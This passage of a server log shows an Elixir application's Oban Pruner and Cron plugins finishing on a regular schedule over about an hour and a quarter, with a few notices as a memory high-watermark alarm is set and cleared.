{"source":"oban","duration":1830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:44.941 [info] {"source":"oban","duration":1624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:00.446 [info] {"source":"oban","duration":742,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:01:14.944 [info] {"source":"oban","duration":2462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:44.950 [info] {"source":"oban","duration":4308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:00.447 [info] {"source":"oban","duration":382,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:02:14.954 [info] {"source":"oban","duration":1711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:22.992 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 14:02:44.959 [info] {"source":"oban","duration":3301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:00.448 [info] {"source":"oban","duration":544,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:03:14.962 [info] {"source":"oban","duration":1882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:44.964 [info] {"source":"oban","duration":892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:00.449 [info] {"source":"oban","duration":856,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:04:14.966 [info] {"source":"oban","duration":1229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:44.968 [info] {"source":"oban","duration":907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:00.451 [info] {"source":"oban","duration":744,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:05:14.970 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:44.973 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:00.453 [info] {"source":"oban","duration":385,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:06:14.975 [info] {"source":"oban","duration":1584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:23.013 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 14:06:44.977 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:00.454 [info] {"source":"oban","duration":560,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:07:14.980 [info] {"source":"oban","duration":2100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:44.982 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:00.455 [info] {"source":"oban","duration":385,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:08:14.985 [info] {"source":"oban","duration":2007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:44.988 [info] {"source":"oban","duration":1893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:00.456 [info] {"source":"oban","duration":425,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:09:14.990 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:44.993 [info] {"source":"oban","duration":2623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:00.457 [info] {"source":"oban","duration":606,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:10:14.995 [info] {"source":"oban","duration":1365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:44.997 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:00.458 [info] {"source":"oban","duration":589,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:11:14.999 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:45.002 [info] {"source":"oban","duration":2098,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:00.460 [info] {"source":"oban","duration":1173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:12:15.004 [info] {"source":"oban","duration":1818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:45.007 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:00.461 [info] {"source":"oban","duration":531,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:13:15.009 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:45.011 [info] {"source":"oban","duration":1288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:00.462 [info] {"source":"oban","duration":629,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:14:15.013 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:45.016 [info] {"source":"oban","duration":2448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:00.465 [info] {"source":"oban","duration":960,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:15:15.022 [info] {"source":"oban","duration":5198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:45.024 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:00.466 [info] {"source":"oban","duration":333,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:16:15.026 [info] {"source":"oban","duration":1190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:45.029 [info] {"source":"oban","duration":2193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:00.468 [info] {"source":"oban","duration":966,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:17:15.031 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:45.034 [info] {"source":"oban","duration":2008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:00.470 [info] {"source":"oban","duration":819,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:18:15.036 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:45.039 [info] {"source":"oban","duration":2004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:00.471 [info] {"source":"oban","duration":758,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:19:15.042 [info] {"source":"oban","duration":2249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:45.045 [info] {"source":"oban","duration":1977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:00.476 [info] {"source":"oban","duration":3341,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:20:15.048 [info] {"source":"oban","duration":2179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:45.050 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:00.477 [info] {"source":"oban","duration":446,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:21:15.052 [info] {"source":"oban","duration":1580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:45.054 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:00.479 [info] {"source":"oban","duration":895,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:22:15.057 [info] {"source":"oban","duration":2248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:45.060 [info] {"source":"oban","duration":2262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:00.480 [info] {"source":"oban","duration":529,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:23:15.062 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:45.065 [info] {"source":"oban","duration":2354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:00.482 [info] {"source":"oban","duration":811,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:24:15.067 [info] {"source":"oban","duration":1654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:45.070 [info] {"source":"oban","duration":1930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:00.483 [info] {"source":"oban","duration":368,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:25:15.073 [info] {"source":"oban","duration":1904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:45.079 [info] {"source":"oban","duration":5400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:00.484 [info] {"source":"oban","duration":496,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:26:15.083 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:45.089 [info] {"source":"oban","duration":5193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:00.485 [info] {"source":"oban","duration":582,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:27:15.091 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:45.094 [info] {"source":"oban","duration":1946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:00.486 [info] {"source":"oban","duration":615,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:28:15.107 [info] {"source":"oban","duration":9647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:45.109 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:00.488 [info] {"source":"oban","duration":641,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:29:15.111 [info] {"source":"oban","duration":1622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:45.113 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:00.490 [info] {"source":"oban","duration":372,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:30:15.115 [info] {"source":"oban","duration":1622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:45.118 [info] {"source":"oban","duration":2180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:00.491 [info] {"source":"oban","duration":587,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:31:15.120 [info] {"source":"oban","duration":1756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:45.122 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:00.492 [info] {"source":"oban","duration":461,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:32:15.126 [info] {"source":"oban","duration":3064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:45.128 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:00.493 [info] {"source":"oban","duration":797,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:33:15.130 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:45.133 [info] {"source":"oban","duration":2326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:00.496 [info] {"source":"oban","duration":777,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:34:15.136 [info] {"source":"oban","duration":2039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:45.139 [info] {"source":"oban","duration":2254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:00.497 [info] {"source":"oban","duration":577,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:35:15.141 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:35:45.144 [info] {"source":"oban","duration":2419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:00.498 [info] {"source":"oban","duration":412,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:36:15.146 [info] {"source":"oban","duration":1766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:45.148 [info] {"source":"oban","duration":1652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:00.500 [info] {"source":"oban","duration":1367,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:37:15.153 [info] {"source":"oban","duration":3153,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:45.156 [info] {"source":"oban","duration":1846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:00.502 [info] {"source":"oban","duration":758,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:38:15.159 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:45.163 [info] {"source":"oban","duration":2313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:00.506 [info] {"source":"oban","duration":3503,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:39:15.165 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:39:45.168 [info] {"source":"oban","duration":2239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:00.507 [info] {"source":"oban","duration":554,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:40:15.171 [info] {"source":"oban","duration":2027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:40:45.174 [info] {"source":"oban","duration":2448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:00.509 [info] {"source":"oban","duration":794,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:41:15.177 [info] {"source":"oban","duration":1621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:41:45.179 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:00.511 [info] {"source":"oban","duration":731,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:42:15.182 [info] {"source":"oban","duration":2657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:45.184 [info] {"source":"oban","duration":1669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:00.512 [info] {"source":"oban","duration":769,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:43:15.187 [info] {"source":"oban","duration":2007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:23.216 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 14:43:45.189 [info] {"source":"oban","duration":1807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:00.514 [info] {"source":"oban","duration":394,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:44:15.192 [info] {"source":"oban","duration":1219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:23.221 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 14:44:45.195 [info] {"source":"oban","duration":1985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:00.515 [info] {"source":"oban","duration":413,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:45:15.197 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:45.199 [info] {"source":"oban","duration":1600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:00.517 [info] {"source":"oban","duration":1219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:46:15.202 [info] {"source":"oban","duration":2260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:45.204 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:00.518 [info] {"source":"oban","duration":851,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:47:15.206 [info] {"source":"oban","duration":1912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:45.209 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:00.520 [info] {"source":"oban","duration":344,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:48:15.212 [info] {"source":"oban","duration":1999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:45.214 [info] {"source":"oban","duration":1813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:00.521 [info] {"source":"oban","duration":645,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:49:15.217 [info] {"source":"oban","duration":1622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:45.219 [info] {"source":"oban","duration":1786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:00.524 [info] {"source":"oban","duration":566,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:50:15.225 [info] {"source":"oban","duration":4361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:45.232 [info] {"source":"oban","duration":5287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:00.526 [info] {"source":"oban","duration":1639,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:51:15.238 [info] {"source":"oban","duration":4860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:45.240 [info] {"source":"oban","duration":1298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:00.528 [info] {"source":"oban","duration":461,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:52:15.243 [info] {"source":"oban","duration":2101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:45.244 [info] {"source":"oban","duration":877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:00.530 [info] {"source":"oban","duration":813,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:53:15.247 [info] {"source":"oban","duration":1755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:45.251 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:00.533 [info] {"source":"oban","duration":1733,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:54:15.253 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:45.255 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:00.535 [info] {"source":"oban","duration":1032,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:55:15.258 [info] {"source":"oban","duration":2209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:45.261 [info] {"source":"oban","duration":2050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:00.537 [info] {"source":"oban","duration":1749,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:56:15.263 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:45.265 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:00.539 [info] {"source":"oban","duration":763,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:57:15.267 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:45.272 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:00.541 [info] {"source":"oban","duration":446,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:58:15.274 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:45.277 [info] {"source":"oban","duration":2295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:00.542 [info] {"source":"oban","duration":555,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:59:15.281 [info] {"source":"oban","duration":3666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:45.285 [info] {"source":"oban","duration":2746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:00.543 [info] {"source":"oban","duration":530,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:00:15.287 [info] {"source":"oban","duration":1932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:45.292 [info] {"source":"oban","duration":2998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:00.544 [info] {"source":"oban","duration":581,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:01:15.297 [info] {"source":"oban","duration":2844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:45.299 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:00.545 [info] {"source":"oban","duration":470,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:02:15.303 [info] {"source":"oban","duration":3033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:45.305 [info] {"source":"oban","duration":1592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:00.546 [info] {"source":"oban","duration":608,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:03:15.307 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:45.309 [info] {"source":"oban","duration":1208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:00.548 [info] {"source":"oban","duration":512,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:04:15.312 [info] {"source":"oban","duration":2233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:45.317 [info] {"source":"oban","duration":4599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:00.550 [info] {"source":"oban","duration":753,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:05:15.320 [info] {"source":"oban","duration":1858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:45.323 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:00.551 [info] {"source":"oban","duration":533,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:06:15.327 [info] {"source":"oban","duration":3343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:45.330 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:00.552 [info] {"source":"oban","duration":779,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:07:15.332 [info] {"source":"oban","duration":1800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:23.349 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 15:07:45.336 [info] {"source":"oban","duration":2295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:00.554 [info] {"source":"oban","duration":307,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:08:15.339 [info] {"source":"oban","duration":2301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:45.342 [info] {"source":"oban","duration":2584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:00.555 [info] {"source":"oban","duration":593,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:09:15.346 [info] {"source":"oban","duration":2068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:23.362 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 15:09:45.349 [info] {"source":"oban","duration":2590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:00.556 [info] {"source":"oban","duration":468,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:10:15.352 [info] {"source":"oban","duration":1866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:45.356 [info] {"source":"oban","duration":3123,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:00.561 [info] {"source":"oban","duration":522,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:11:15.358 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:45.360 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:00.562 [info] {"source":"oban","duration":385,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:12:15.363 [info] {"source":"oban","duration":2186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:45.365 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:00.563 [info] {"source":"oban","duration":577,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:13:15.367 [info] {"source":"oban","duration":1624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:45.369 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:00.564 [info] {"source":"oban","duration":643,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:14:15.372 [info] {"source":"oban","duration":2214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:45.374 [info] {"source":"oban","duration":1748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:00.565 [info] {"source":"oban","duration":436,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:15:15.376 [info] {"source":"oban","duration":1695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:45.379 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:00.566 [info] {"source":"oban","duration":826,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:16:15.381 [info] {"source":"oban","duration":1269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:45.385 [info] {"source":"oban","duration":3756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:00.568 [info] {"source":"oban","duration":533,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:17:15.388 [info] {"source":"oban","duration":1603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:45.390 [info] {"source":"oban","duration":974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:00.570 